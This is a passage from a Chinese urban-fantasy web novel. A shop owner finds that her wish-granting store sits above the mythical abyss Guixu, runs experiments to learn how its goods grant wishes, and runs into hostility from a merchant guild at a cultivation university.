也就是说，初次见面，周怀瑾在海边“钓”的不是鱼。难怪她把鱼篓借给他的时候，他说她的鱼篓装不下。 后来装下了，那个旧鱼篓也是灵器。 那么，厨房的法阵是怎么来的？外婆留下来的吗？时愿目前只能想到这个解释。 时愿回到房间，坐在书桌前，疲惫地闭上眼睛。 今天知道太多秘密了。 知道总比蒙在鼓里好，这里面也有好消息不是吗？ 譬如，银杏叶是真的有奇效，她可以收集起来，在查出灵器来源之前，这些就是杂货铺在蓬莱大学立足的筹码。再譬如，银杏是妖，还是个温柔的妖，很适合上班。 时愿睁开眼睛，事已至此，先给小橘猫过生日吧，260岁是整生日，得大办。 她发信息给周末面包店，订大蛋糕。 又群发信息，邀请龙翻雪和事务所的各位来参加树生的生日宴会。 她想趁这个宴会，测试一下灵器的来源。 荔枝汽水、手绘伞、鱼篓、墨水、浇水花洒……据时愿分析，它们似乎，都和强烈的愿望有关。 大家响应得很快，时愿在一堆新信息中，看到了姜一雯的消息。 [姜一雯]：老板，和您分享一个好消息！我复工后一直很顺利，今天还有一位老师，知道我离婚的消息后，主动提议和我互调学校，我离婚后孩子归我，我可以带孩子回家附近的学校上班了，她也能离她家近一些，两全其美！您店里的转运灯和平步青云石，真的太灵验了！非常感谢您！ 时愿替她高兴，回复恭喜，祝她在新学校一切顺利。 转运灯和平步青云路的石头，都来自青云山。 看来，楼嚣、玉盘、青云山的员工和那两只狗狗，以及当初和楼嚣产生纠纷的燕归，请时愿当和事佬的胡戏文……全都不是普通人和普通狗。 青云山，也不是一个普通地方，这就是青云山农产品特别好吃的原因。 青云山和杂货铺合作，还让利这么多，必定不是她曾经以为的，土豪钱多，砸钱道谢，青云山肯定有其他获益。 秘密+1，时愿手头上的筹码也+1。 时愿给楼嚣和玉盘也发了生日宴会邀请。 大脑太活跃了，看了不感兴趣的书也没有产生困意，时愿看了眼时间，披上外套，去杂货铺。 除了台风停电那次，时愿还是第一次在晚上去店里。 她想去证实一件事。 她进店后，两只猫咪黏了上来。 时愿径直走向鱼池。 时愿知道，除了平步青云路，愿望杂货铺还有一个很出名的传说——要是看到鱼池旁边的石鱼掉进鱼池，变成两尾金色的鲤鱼，就会有好事发生。 时愿把锦姨送的那对石鱼推进池水里，亲眼看到它们入水化鱼。 水面泛起一圈圈涟漪，灯笼的倒影变成一个模糊的红衣人影。时愿拿起一块蔓金苔放入水中，它的叶子一片片亮了起来。 好嘛，这下确定了。 全店只有她一个普通人。 时愿坐在竹椅上，看着熟悉又陌生的院子。爱丽丝一直生活在仙境中，只是她没有发现。 “漂亮吗？”时愿摸了摸小橘猫的脑袋。 小橘猫：“喵！” 饕餮垮着张小猫脸，跳到时愿的腿上。 零点刚过，时愿对小橘猫说：“树生，祝你生日快乐。你已经完全适应现代社会了，想要化成人形吗？你可以用人类的语言回答我。” 店主破例在深夜来杂货铺，是为了给她庆生！ 小橘猫激动得瞳孔放大，大声道：“想！” 时愿：“那我想办法帮你办个证件，再给你找一所学校，你去上学……” “不想！”白树生紧急撤回一个愿望。 “……” 第83章 山海秘境, 招摇山。 因为分出一缕灵力给容器小狗，苏烛回秘境的过程不太顺利，灵魂很虚弱，只能虚弱地坐在山主给他做的轮椅上。 “你们就这样同意了？”苏烛难以置信地看着师父们, “我提议和饕餮合作, 撕开外界通道, 正常的流程不应该是——你们果断拒绝，我苦苦哀求，你们依旧拒绝，我一意孤行, 你们阻止我, 我不听劝, 身负重伤，你们被我打动, 力排众议支持我……不应该是这样吗？” “徒儿, 你话本看太多了吧？”陆盛说, “我们一直支持打破秘境结界。秘境没有天雷，我们修炼万年也无法飞升，要是有办法, 自然想出去。” 山主：“只打开通道, 不完全融入外界, 可攻可守, 这是最完美的方案。” “而且，你说饕餮很听你心上人的话。”庄城用鸡爪子托着下巴做思考状, “这天地之间只有一只饕餮，只有一人能让饕餮乖乖听话，那就是万年前曾经收养过它的一位人类修士, 那位修士渡劫失败后，饕餮就失去了踪迹。你的心上人，绝对是那位修士。有她牵制饕餮，没什么可担心的。” 苏烛恍然大悟：“难怪它主动去找时愿，还说自己不是最后来的。” “接下来要去说服其他山头的前辈们，还需要师父们帮忙。通道开启后，更需要师父们去约束大家，避免引起混乱。” “这个你无需担心，你得谢谢你狐仙娘娘。”陆盛说，“你不在的这段时间，狐仙娘娘写了很多关于你和你的心上人的话本，这些话本在山海秘境广为流传，大家都知道我徒儿修真情道，绝对会支持你的。” 苏烛：“话本看得太多的是你们才对吧！” 狐仙娘娘都成同人文大手了啊！ 鹿谣：“不要在意这些细节。” 狐仙娘娘：“就是，你现在的首要任务是提升境界，争取早日结丹。否则，就算通道打开了，你的肉身都扛不住穿梭个两三回的。” 庄城：“再说了，至少得到大乘期，你才好意思提亲吧？” 苏烛将轮椅转得飞快：“师父们教训得对，我这就去训练。” 时愿在外婆的遗物中，找到了一副眼镜，外婆曾经告诉过她，借助这副眼镜可以看到精怪的真身。时愿从前只当成故事听。 这副眼镜是老款式，椭圆形的金色细边框，时愿戴上后，平添一抹学霸气质。 她照了一会儿镜子，没有发现有哪里不同，便去院子里测试。 黑猫迎面走来，小小的身体后面，显现出一个巨大的凶兽幻影，时愿仰着头，都无法看清全貌。 往旁边看，转运灯旁边站着一位红衣青年，昨晚在水面上瞥到的身影变得清晰。 心脏跳得飞快，时愿摘下眼镜，眼中的世界恢复平常。 戴上这副眼镜，简直像瞬间进入奇幻全息游戏，而她只是个没灵力没技能的新人菜鸟，刺激得太超过了。 时愿在周末面包店订了大蛋糕和很多点心，又在奶茶店订了饮料和各色小吃。她对白树生说：“化作人形吃蛋糕比较方便哦，奶油不会粘在毛发上。” 白树生把脑袋摇成拨浪鼓。 时愿：“我保证不会送你去上学。” 白树生丝滑化形，捧住蛋糕盒，露出星星眼：“好大的蛋糕，好香好香，谢谢店主！” “你喜欢就太好了。”时愿看向银杏树，“树生，去请姐姐来参加你的生日会吧。” “绘秋姐姐！”白树生很兴奋，“来参加我的生日会吧！” 时愿第一次看到了白绘秋的人形态，她穿着鹅黄色的毛衣，脸上挂着温柔的笑意。 客人们来得很准时，每个人手里都提着礼物。 楼嚣把生日礼物给白树生后，又拿出一瓶红酒：“从我爸的酒窖里拿的好酒，我们大人可以喝一点。” 时愿戴上眼镜，她眼中的楼嚣变成了一条立起来，长着龙角、似蛇似蛟的生物，他的腰部以下长满了逆鳞。 蜃龙。 楼嚣是蜃龙，楼总应该也是。 “我想喝，我成年了。”龙翻雪问时愿，“姐姐，可以吗？” 时愿看到一片耀眼的白色鳞片。 白蛇，或者说小龙。翻雪的额头上有两个鼓包，看着像是还没长出来的龙角。翻雪的体型比楼嚣小多了，毕竟今年才十八岁。 时愿看看龙翻雪，又看看白树生。等等，你们妖怪的年龄到底是怎么算的？十八岁的成年人，和260岁的小孩子？修炼的节奏不一样，还是因为物种不一样？ 还是说，翻雪是蛋生的，他在蛋里修行了几百年才破壳？ 这都能开一门课了。 “不行。”时愿拒绝。 “小楼总，时总说不能喝。”玉盘没收楼嚣的红酒，飞快地摆到杂货铺的置物架上，“时总，这瓶酒请您务必留下，我们小楼总酒品不好。” 要是让他喝醉了，明天全国各地都得出现海市蜃楼现象，没准还能看到一条蜃龙在天上发酒疯，比如边飞边大喊“快点给我点关注”之类的。 而她还要负责擦屁股，想想就觉得可怕。 楼嚣：“玉盘，我觉得你可以去看看《说话的艺术》。” 怎么在外面揭上司的老底呢！ “小楼总，想让下属掌握新技能，要加薪。” 时愿听到了打算盘的声音——真打，玉盘的真身是一把玉算盘。 摆渡人事务所来了四个人，叶幽尘、栗子、宋晚和明逸，这四位都是人类。 点上“260”的数字蜡烛，时愿说：“树生的愿望我已经知道了。叶先生，杂货铺的厨房已经装修好了，麻烦你帮我转告周先生，他可以随时借用厨房，条件和以前一样，让我家猫分一杯羹即可。” 叶幽尘：“好，多谢前辈。” 白树生高兴得抱住时愿：“店主，您最好了！” 吹完蜡烛，分蛋糕，周末面包店的出品一如既往地美味。 吃完蛋糕，时愿拿出一叠信纸：“谢谢大家来参加树生的生日会，接下来我们玩个游戏吧。你们在纸上写下自己想要的东西，装进信封里，然后在店里寻找，再聚在一起揭晓彼此的愿望，看看有没有得到。如果没有想要的东西，不必参与，如果介意公开愿望，也可以不参与。” 此话一出，大部分人都跃跃欲试。 店主大手笔！杂货铺里的商品都不是凡品，她这是要帮在座的每一个人都实现一个愿望！ 唯有叶幽尘说：“我没有想要的东西。” 他已经在杂货铺得到了很多，很满足了。 其他人写好愿望，封存起来，开始在杂货铺“寻宝”。 时愿拉住龙翻雪，低声道：“翻雪，你帮我做个实验。” “好。”龙翻雪想也不想就答应了。 时愿指向几个箱子：“你只在这里找你想要的东西，要是找不到合适的，就暂时搁置，我会找机会弥补你。” 龙翻雪知道时愿自有她的用意，没有多问，只是照办。 大家挑了一样符合想象的商品，重新聚在一起。 时愿道：“请打开信封，试用看看，从小楼总开始吧。” 楼嚣打开信封，上面写的是：可以缓解冬日皮肤冻伤的东西。 他的下半身全是炸开的逆鳞，一降温，裸露在外的缝隙就被冻得又痛又痒。 楼嚣选的是一瓶身体乳，他挤出一些乳液往脚腕上抹，涂开的瞬间，皮肤上细密的疼痒消失了。 无须多言，楼嚣竖起大拇指。 玉盘是想要能减轻工作负担的工具，她得到了一支能自动书写心中所想的笔。 宋晚想成为一名真正的灵师，所以想要能看到邪祟的东西，他选了一个眼罩，戴上后，真的看到了被明逸装在灵器中的鬼魂。还意外看到了站在院子里的火殃，吓得他腿都软了。 明逸的桃木剑损坏了，他想要找一件更顺手的灵器。 栗子：“你拿个鸡毛掸子真的没问题吗？” “这绝对不是鸡毛。”明逸说，“这是某种妖兽的毛，我能感受到它的能量。” 栗子：“也挺好，以后你拿着鸡毛掸子去驱邪，可以降低邪祟的戒心，很适合你。” 明逸：“你选了什么？” “可以让我成为摆渡人事务所No·1灵师的东西。” “幼稚。” “好啦。”栗子展开信纸，上面写的是——比平时好喝100倍的饮料！ 明逸：“不愧是你。” 栗子从大衣口袋里拿出一瓶饮料，喝了一口，露出惊艳的表情：“这都行？真的超级好喝！” 龙翻雪有一门课要去北方上，他想要一些能保暖，让自己保持清醒的东西。他选了一顶帽子，戴上之后，没有说什么。 其他人以为他见惯了愿望杂货铺的好东西，加上和他不算熟悉，没有追问他的使用感受，全都在探索新得到的宝物。 时愿看向龙翻雪，用眼神询问他：如何？ 龙翻雪很轻地摇了摇头。 保暖效果一般。 生日会散场的时候，大家都很开心。时愿留楼嚣说话：“小楼总，杂货铺和青云山合作不短时间了，青云山最近的状况怎么样？” 时愿猜测，青云山和杂货铺合作，是为了获得钱以外的东西，她想知道那是什么。 楼嚣说：“有好转。” “你觉得够了吗？”时愿引导他继续往下说，“你现在全平台粉丝不少，又向农场老板学习了经验，你认为，为了让青云山发展得更好，我们还可以怎么做？” 楼嚣思考过很多次这个问题：“目前来说，我们的顾客大部分都是望海市市民，而且回头客越来越多了，回头客产生的愿力不如新客户。如果可以，我希望杂货铺能开一家网店，吸引全国各地的顾客。另外，和蓬莱大学的合作要重视，修行者产生的愿力比凡人多。” 愿力。 人类的愿力，凝聚在一起，可以让灵气贫瘠的地方变成风水宝地。 他们之前签的二八分合同，分的是愿力啊。 “我会考虑你的建议。”时愿淡定地和楼嚣挥手道别。 回到店里，她准备让翻雪重新挑一顶帽子，翻雪突然说：“姐姐，这顶帽子开始变暖和了，我全身都变暖和了。” 时愿点点头，看了眼手表，心里有数了。 那几个箱子里装的都是刚到货的新品，时愿搬进杂货铺，总共12小时。 “翻雪，明天我要去新店再做几个实验，你可以继续帮我吗？” 时愿想，马上就能得出结论了。 “好呀。” 第84章 客人们离开后, 时愿对饕餮说：“咪，带我到高空上，不要引起别人的注意。” 饕餮变成一头高大的黑羊，在时愿面前伏下, 时愿坐到它背上, 抱住它的脖子。 黑羊在地上轻蹬一下, 带着时愿轻盈地浮上空中。时愿看到，玻璃窗里，她和饕餮的身影消失了。 隐身术。 黑羊在空中漫步，越走越高。时愿戴上眼镜, 往下看, 以杂货铺为中心, 磅礴的灵气如泉水一般涌出，向四周流淌。 不识庐山真面目, 只缘身在此山中。 杂货铺实现人们的愿望, 人们回馈的愿力, 滋养着这片土地，如此循环。 次日，时愿把货物搬上车, 整理的时候, 在车里找到了一枚金戒指, 位置很隐秘, 一看就是有人故意藏在这里的。 时愿捡起戒指的那一刻，脑中浮现出一个十几平米的空间, 地上堆放着十几个木箱，每一个箱子都贴着封条，上书“百溪”二字。 时愿心念一动, 这个画面消失了，车后箱多了一个木箱。她撕开封条，打开箱子，里面装满了古籍。最上端是一封信，里面写满了百溪村村民对时愿的感谢，这枚纳戒和里面的宝物，是他们赠予时愿的谢礼，请她随意支配。 百溪村村民怕她不肯收谢礼，所以在她最后一次运送物资的时候，偷偷将纳戒藏在她的车里。 百溪村应该是一处秘境，静玲婆婆让她打捞的“石头”，帮百溪村解决了某个麻烦。 其中细节，时愿推测不出来，也不打算探究到底。 石头丢失的那天晚上，时愿曾经梦到过静玲婆婆，婆婆说期待下一次见面。不知下一次见面是什么时候，她凡人之躯，能活到那时吗？ 时愿将那箱书收回纳戒，盖上后备箱，对白绘秋说：“绘秋，我和翻雪去蓬莱，要麻烦你看店了。” 白绘秋微笑挥手：“一路顺风。” 在校园里看到飞来飞去的学生们，时愿已经习惯了，内心毫无波动。 新店动用了蓬莱的施工队，速度飞快，已经装修好，并且里里外外都打扫干净了，小陶和千阑从临时宿舍搬到了楼上。 新店招牌是时愿亲自写的，或许是这个原因，尽管分店和总店相隔甚远，建筑也气派很多，但和总店一样，有种说不清道不明的相同的气质。 时愿带来的几箱货物，都搬进了新店。 和昨晚一样，时愿让龙翻雪、陶蓦回和千阑写下愿望，并在她指定的箱子里挑选想要的东西。 龙翻雪还是昨天那个愿望，只是稍微调整，变成了希望找到在严冬的户外行动也能保持灵活的东西。 这次他选了一副轻薄的羊皮手套，这箱货物在杂货铺存放超过24小时了，他戴上后，立即被温暖包围，手指明显比平时更灵活。 陶蓦回许愿能找到僵尸也能饱腹的美味食物，这段时间她不在杂货铺，都是吃辟谷丹和时愿寄过来的蔬菜。 时愿让陶蓦回先从没放进过愿望杂货铺的货物里选，陶蓦回选了个面包，她咬了一口，脸色变得十分难看。 时愿明白了：“吐掉吧。” 陶蓦回吐掉面包，吐了吐舌头。 千阑拿走她手里的面包，两三口吃掉。 时愿又让陶蓦回在另一个箱子里挑选，这箱货物在愿望杂货铺存放超过一周。 陶蓦回选了一包薯片，尝了一块后，眼睛里的幸福感都快溢出来了：“超好吃！” 香香的脆脆的，原来薯片是这个味道！ 时愿看向千阑，他展开信纸，上面写着：希望能找到让僵尸的牙齿停止生长的东西。 千阑凭直觉，选了一套牙膏牙刷。 时愿：“去试试看。” 陶蓦回刷完牙回来：“停止了，我能感受到，我的犬牙停止生长了！” 时愿：“把这里收拾一下吧，我去买咖啡，这家店用的咖啡豆生长在灵气地区，小陶也能喝，你们想喝什么？” 时愿出门后，千阑想到一个问题：“老板不在，我们再次许愿，可以在箱子里得到想要的东西吗？” 这些箱子是灵器？ “不行。”龙翻雪说，“那是姐姐的能力，不信你可以试试看。姐姐现在已经可以控制住能力了，小时候……” 龙翻雪反应过来，不再往下说。 千阑意识到他不想说了，没有追问，又拿了一张纸，在上面写：希望能找到修复僵尸晒伤的东西。 他从成功过的箱子里选了一瓶面霜，涂抹在陶蓦回不小心晒伤的皮肤上。 陶蓦回摇了摇头：“没有效果。等会儿不要再麻烦老板了，那样太贪心了。” 龙翻雪道：“你们已经许愿了，向一位慷慨的神明。” 时愿提着咖啡和甜品回来，瞥到桌上的信纸，从箱子里挑了修复晒伤的芦荟胶、防晒霜和一瓶卸妆水，教陶蓦回使用的顺序。 芦荟胶涂抹在伤处，灼烧感缓解了许多。 陶蓦回看着时愿温和又专注的脸，早就不跳动的心脏变得滚烫，烫得她苍白的脸都涨红了，眼泪滚落下来。 时愿问：“很痛吗？” 陶蓦回摇头：“一点都不痛了。” 认出千阑的时候，陶蓦回依旧觉得自己是个该消失的怪物，可是现在，她在老板平静的目光中，感受到了无限的包容。 她的贪心，又一次被满足。 因为遇到了一位慷慨的神明，她好像，可以允许自己，以陶蓦回的身份，在人间再停留多一些时间。 同一时间，愿望杂货铺总店。 “听说这家店可以实现愿望，真的吗？”匪气十足的虎妖一掌拍在柜台上。 白绘秋：“店主不在，实现不了呢。你可以等店主在的时候过来。” 虎妖狐疑地看着她：“你不是在敷衍我吧？他们说只要买这家店的东西就可以实现愿望。” “前提是，店主允许。没有店主允许，这家店的商品和其他店没什么不同。”白绘秋的目光落在他捏住柜台的手掌上，“你还是松手比较好，要是破坏了店里的东西，就得小心了。” “小心什么？”虎妖紧张地吞咽了下。 白绘秋的视线挪到虎妖的脑袋上，微笑着没有说话。 大妖的气息瞬间铺开。 “……？？？”虎妖松开手，落荒而逃。 过了一会儿，虎妖再次折返，硬着头皮买了一堆东西。他非要试试，不然不死心！ 虎妖回到“洞府”，捣鼓了半天买回来的东西，愿望真的没有实现。 回到桂圩镇，时愿一头扎进了外婆的书房里。 经过这两天的实验，她已经摸索出了一些规律。 是愿望杂货铺所在的土地，让这里的动植物和物品变得特殊，当人们许下愿望，就能匹配到能实现愿望的物品。 实现愿望必须满足两个条件，一是，物品在杂货铺存放超过12小时；二是，这个愿望足够真诚和强烈。 另外，本就特殊的物品，在进入杂货铺后，功效似乎会增强。 知道这些，时愿就知道，该怎样经营分店了。 现在，她想调查清楚，杂货铺为什么存在这股能量。一方面，要翻阅外婆留下来的笔记，如果外婆曾经看出来点什么，应该会留下相关记录；另一方面，翻阅外婆留下来的藏书，以及百溪村赠送的古籍，寻找相关记载及传说。 要查阅的书籍数量太多，即使时愿记性好，进度也很慢。 她闭关了三天，依旧没有收获。看书看得头昏脑胀，时愿推开一扇窗，阳光暖洋洋地晒下来，她趴在桌子上小憩，半梦半醒时，她想起外婆去世前的某一天，外婆坐在床边看书，突然问她：“小愿，你知道桂圩名字的由来吗？” 因为镇上种植了很多桂花，这边的居民也喜欢桂花，且每年举办盛大的桂花节市集，所以叫桂圩镇。 “那都是后来的事了。”外婆笑了笑。 时愿追问：“那以前的事呢？” “你要自己去找答案。”外婆合上书，发出“啪”的一声。 时愿惊醒！ 她记起来外婆当时拿着的那本书，书名是—— 归墟。 外婆问的是桂圩镇名字的由来，还是归墟的由来？ 或者说，外婆在暗示她：桂圩就是归墟！ 外婆看书很珍惜，向来轻拿轻放，那个重重的合上书的动作，是故意为之。 时愿找到了那本书。 “渤海之东不知几亿万里，有大壑焉，实惟无底之谷，其下无底，名曰归墟。”* 归墟是汇聚八纮九野之水和天汉之流的无底深谷，是万事万物终结的地方，是一切的归宿，亦是轮回之所。 八纮九野之水汇入归墟，流向幽都的支流，名为冥河。* 时愿额头沁出了冷汗，她不知道该怎样形容此刻的感受，她的灵魂和这片土地产生了强烈的共鸣，有什么在呼唤着她。 她清晰地意识到，归墟的入口，就在她的脚下。 原来，谜底写在谜面上—— 作者有话说：今晚12点前还有一更 注：“渤海之东不知几亿万里，有大壑焉，实惟无底之谷，其下无底，名曰归墟。八纮九野之水，天汉之流，莫不注之，而无增无减焉。”——《列子·汤问》 文中的归墟有私设 第85章 愿望杂货铺的下方是归墟。 居住在这里的一家人没有灵力, 全员普通人。 这个消息要是走漏出去，别说时愿一家，恐怕整个桂圩镇乃至望海市都不得安宁。 时愿在桂圩镇长大，这个镇子上, 有她深爱的家人, 有很多看着她长大的长辈, 有至今提起她还会感到骄傲的老师，有和她一起长大的同龄朋友，有她看着长大的小朋友，有她吃了不知道多少遍的餐厅, 有她走过无数遍的大路小路…… 她热爱她的家乡, 想过在这里终老。她的家人离不开这里, 她也要在这里等苏烛回来。 最好是瞒住这个消息，要是瞒不住, 她就要拿稳人设剧本, 甚至给人设升级, 让别有企图的人不敢轻举妄动。 别的不说，只要饕餮还在杂货铺，还愿意听她的话, 大概没有人敢来闹事。 饕餮对她这么亲近, 是把她错认成什么人了吗？ 这个念头挥之不去, 时愿开始关注饕餮的一举一动。 这天, 时愿要去分店准备开店事宜，饕餮没有跟上车, 只是站在路边目送她离开。 饕餮最近有点猫猫祟祟，还很忙，像是在瞒着她做什么事情。 时愿果断改道, 开车回杂货铺。 她猫猫祟祟地回到店里，看到饕餮在院子里，和一个青年说话。他穿一身玄色古风劲装，束着简洁的高马尾，脖子和小腿缠着几圈绷带。 她站得有点远，饕餮和绘秋都没注意到她，青年竟然立刻侧眸看向她。 在看到她的瞬间，那张陌生的脸露出笑容，很快又被压了下去，换成一个得体的表情，对她点了点头，当作打招呼。 青年镇定地走到店里，拿了一瓶饮料，付钱后离开。 青年的神态和一些习惯和苏烛很像，他连随手拿的饮料都是苏烛最常喝的那一款。 时愿想到，外婆的眼镜说不定能看出点什么。 时愿找出眼镜，追了出去，她在人群中一眼看到苏烛。 他正好回头，他不知道自己已经暴露了，对她笑了笑。 他的头发变长了，笑容还是这么灿烂，眼睛干净得像从来没有将烦恼装进去过。 时愿想喊住他，喉咙却被堵住了，看着他消失在拐弯处。 时愿告诉绘秋，今天的外出计划取消了，她要留在店里。 直到打烊，苏烛都没有再出现。 时愿合上速写本，铅笔滚到了地上，她弯腰去捡，起身时，看到桌底有个字。 深深浅浅，是啄出来的字。 一个念字。 时愿的愿，当地方言读音，和念字同音。小时候，苏烛刚搬过来的时候，以为她叫时念，叫她小念。 时愿拂过这个念字，看到自己的食指在发抖。她知道这个字是怎么来的，店里进过一只山雀，总是待在她身边，有时会站在她的肩膀上，她写字画画的时候，山雀有时会飞进桌底，发出“笃笃”的声音。 他回来过，他不止一次回来过。 时愿仔细回忆，在杂货铺和家里寻找，苏烛回来过的其他痕迹。 直到深夜，她在一本草稿本上，看到了一行字—— 明天一定早睡。 这看起来是她的字迹，但留神观察，就会发现字的风骨神韵不一样，只是在模仿她的字。 是苏烛的字。 她其实很少在本子上写这些话，只是当时刚睡醒，没有一眼认出，后来就忘记了这码事。 时愿没有再忍耐：“饕餮，过来。” 杂货铺那边，饕餮睁开眼睛，“咻”地一下，飞奔向时愿。 “你和他在密谋什么？”时愿看着黑猫的眼睛，“说人话。” “谁？”饕餮心虚地挪开视线。 时愿捧着它的脸转回来：“苏烛。” 饕餮见瞒不住了，毫不犹豫地把苏烛卖了：“他的肉身掉进了山海秘境，他想和我合作打开通道，以后可以在人间和秘境之间穿梭。姐姐，这都是他的主意。” “你为什么同意帮他？” “姐姐是归墟之主，此界灵气稀薄，姐姐竟要这般辛苦收集灵气，我将山海秘境献给姐姐，姐姐只要将它吸收了，一定能恢复从前的力量，到时候，就能让归墟重临人间了！” “……”归墟之主，她？ “苏烛和你合作，肯定有后手，他知道你有这个打算吗？” 饕餮理直气壮：“我和他立契，保证我不乱吃东西，又没保证姐姐不吃！” 时愿再次无语，她一点都不想吃。 时愿不知道饕餮为什么觉得她是归墟之主，但为了保护山海秘境和人间，她得先借用这个身份，把饕餮摁住：“通道打通后，我自有安排，你不要轻举妄动。” “我听姐姐的。” “现在遇到什么问题了？”苏烛受伤了。 “我们把通道的出口安排在了仓库，苏烛借助容器走了一遍，这边灵气不足，他那个容器身体都被挤扁了，我拍了几次才恢复。回去的时候直接丢弃容器，通过传魂阵回去了。连他都无法通过，其他大妖怕不是会堵在半路。” 时愿：“我来解决。” 饕餮崇拜地看着她：“嗯！” 时愿：“你们为什么要瞒着我？” 饕餮：“苏烛说不想让你担心。我不理解他，姐姐是最厉害的，姐姐才不会担心。” 时愿摸了摸饕餮的脑袋：“不用告诉他我参与了，只说你会想办法收集灵气。回去休息吧，晚安。” 怎么收集更多的愿力，转发成灵气，楼嚣已经给出了方案。 没过多久，愿望杂货铺蓬莱分店正式开业。 愿望杂货铺的网上商店，即将开业。 开业这天，分店门口前排着长队，队伍里有不少老师的身影，比秘境市集时还要热闹。这对学生稀少、每个人都个性十足的蓬莱大学来说，简直是奇迹。 时愿亲自坐镇，她已经测试过了，由于这些货物的能量来自归墟，获得的愿力也会回馈到归墟。和青云山合作的产品，则按照合同二八分。未来要是和蓬莱合作，也是走这个路子——蓬莱不是也有秘境么？ 店里有三个区域，文具区、青云山区和许愿区。 一区卖普通文具，定价和普通文具店一样，二区卖青云山的农产品和周边，三区有一面许愿墙。 开业活动期间，抽中许愿签的人可以在店里留下愿望。 许愿后在这个区域挑选一样商品，不收钱，不定价，学生试用一周，再回来支付灵石，学生认为那件商品值多少钱，就支付多少灵石，认为没用想退货也没有问题。 这种经营模式新奇有趣，非常受师生欢迎。 隔着一条马路，灵器铺的薛老板抱着双手，皱着眉头：“我不在短短几个月，学校里竟然多了一家店。这个女人到底什么来路？” 灵丹店的尹老板语气酸溜溜的：“听说守枫是她舅舅，这学期学生去守枫的家乡研学，她做向导，学生们很喜欢她，在学校闹了很久，非要学校同意让她来蓬莱开店。还有一个传言，说她可能是下一任守枫。” “看起来是个没有灵力的普通人，怎么可能继任守枫，学校里的谣言还是这么离谱。”薛老板说，“罢了，她只不过是会搞噱头，学生们年纪小，爱凑热闹。就算她有一个守枫舅舅，分店也开不到方壶和瀛洲，对我们威胁不大。” “是啊，马上就要三校联赛了，到时候会有盛大的仙门拍卖会，她连参加的资格都没有。”尹老板捂嘴偷笑，“说不定在联赛开始前，她这店就倒闭了。他人的愿望是这么容易能实现的吗？要是学生们不如愿，她的店就要被拆喽。” 薛老板：“就算让她参加拍卖会，也拿不出什么好东西。” 饕餮早就听到他们在那边冒酸话了，忍无可忍，准备去和他们亮亮爪子。 时愿一把抱住黑猫：“三校联赛，仙门拍卖会，挺有意思的嘛。” 她的听力不知道什么时候变得这么好了，隔着这么远，居然听得特别清楚。 “咪，先别和他们计较，让他们放松警惕，我们也去三校联赛玩玩。” 第86章 国内有三所修仙大学：蓬莱大学、方壶大学和瀛洲大学。这三所大学里的所有商店, 包括食堂在内，由仙山商会统一管理。 三校联赛的市集活动和仙门拍卖会也由商会筹办，只有加入商会，才能申请联赛市集的摊位和参与拍卖活动。 时愿按规矩提交了入会申请, 很快就被驳回了。商会的说法是, 报名已经截止了, 愿望杂货铺没有相关经验，类似的摊位已经有太多了，建议时愿观摩学习一年。 时愿查过商会的公告，上面没写报名截止时间, 只叫想参加的商铺在联赛开始前报名, 现在距离联赛开始还有一段时间呢。 而且, 时愿只是递交入会申请，没有明确表示要参加联赛活动, 商会拒绝的理由站不住脚, 更像是知道她想参加联赛活动, 故意卡她。 尹老板和薛老板坐在店门口喝咖啡，看到马路对面的时愿，尹老板故意提高音量：“开店都没有去商会打声招呼, 这么傲, 还想加入商会, 现在的年轻人啊, 就是没礼貌。” “谁说不是呢。”薛老板嗤笑，“她还不是守枫的亲外甥女, 只是同一个镇上的邻居，不知道在傲什么。” 薛老板和尹老板高度关注愿望杂货铺，他们一直在等时愿翻车, 结果天天看到有学生和教职工来支付大笔灵石。对比之下，他们的生意就冷清多了。 两人去商会添油加醋地抱怨了几次，直到其他老板也跟着焦虑，他们心里才舒服一点。他们的策略是有效果的，愿望杂货铺在不知情的情况下，成了众矢之的，商会的管理层也对时愿有所不满，毫不留情地驳回了时愿的入会申请。 “商会是故意卡您的，管理层说要晾您一年。这只是开始，没加入商会，这一年内所有由商会筹办的活动，您都参加不了。”一位在商会工作的顾客偷偷告诉时愿，“您还是想办法缓和关系比较好，不然明年也不一定能加入。” “谢谢你告诉我这些。”时愿对这位顾客笑了笑，“给你打八折。” 顾客摆摆手：“不用不用，我是有点看不惯他们这样做，但是人微言轻，也没人愿意听我的意见，帮不上您的忙。上次在您店里的买的面包，帮我的妹妹度过了瓶颈期，我们一家都特别感谢您。” “一码归一码。”时愿给她打完折，把商品袋递给她，“期待下次光临。” “姐姐，真的不用我去教训一下那两个混蛋吗？”天天听那两个人议论时愿，饕餮已经气成河豚了，“还有那个狗屁商会！” “不要说脏话。”时愿顺了顺饕餮的炸毛，“道不同不相为谋，我不喜欢用拳头让别人认同我。” “商会驳回了时老师的入会申请？”蓬莱大学的校长放下手中的事务，一脸不快，“他们这是在干什么？给我联系商会会长，我亲自和他谈。” “校长，您先别急。”齐主任说，“以我对时前辈的了解，您还是先问过她的意见比较好。” 校长点点头：“你说得对。” 校长联系时愿，问她需不需要学校出面解决这件事。 时愿拒绝了：“多谢校长关心，不用麻烦了，我不打算加入商会了。我了解到，三校联赛期间，除了商会组织的市集，也有部分散修在校门口摆摊，只需要给主办学校发一份邮件，我决定去校门口摆摊。” 本次联赛的主办方是瀛洲大学，除了商会组织的仙门拍卖会，瀛洲大学附近的千年老字号仙门商铺万珍阁也会举办拍卖会，只要有宝物就能报名参加，成交后只需要向万珍阁支付一笔佣金。 据说，和万珍阁第一次合作，佣金全免。时愿已经报名了。 挂电话后，校长的脸色更沉了。 “时老师不希望我们干涉。”校长捏了捏鼻梁，“瞧瞧商会干的蠢事。” 齐主任非常能理解校长的心情。愿望杂货铺本来是按规矩做事，通过商会报名参加联赛活动，届时愿望杂货铺的摊位上会挂着蓬莱的校徽，等于在大型活动上代表蓬莱正式亮相。 现在可好，商会逼时愿以散修的身份去校门口摆摊。每一届联赛，校门口的小摊都无人光顾，近几年已经没什么散修去摆摊了。 时愿的态度也很明确，被商会惹毛了，以后都不会参与商会策划的活动，这对蓬莱来说，是很大的损失！ 校长越想越气：“商会的管理层该换人了。” 龙翻雪通过了本校的初赛，拿到了去瀛洲大学比赛的名额。 “姐姐，等我比赛结束，就去帮你摆摊。” “那就拜托你了。”时愿说，“瀛洲大学还给我们提供摆摊用的保暖帐篷，条件不错。” 学生不多，蓬莱大学又财大气粗，会组织全部学生去瀛洲大学观赛，为本校学生加油鼓劲。 时愿以为学校会启动大型传送阵，把学生传送过去，结果这几所学校根本没有大型传送阵，说是几百年前就损坏了，没人会修。 学校包了一辆飞机，给时愿留了一个头等舱的位置。 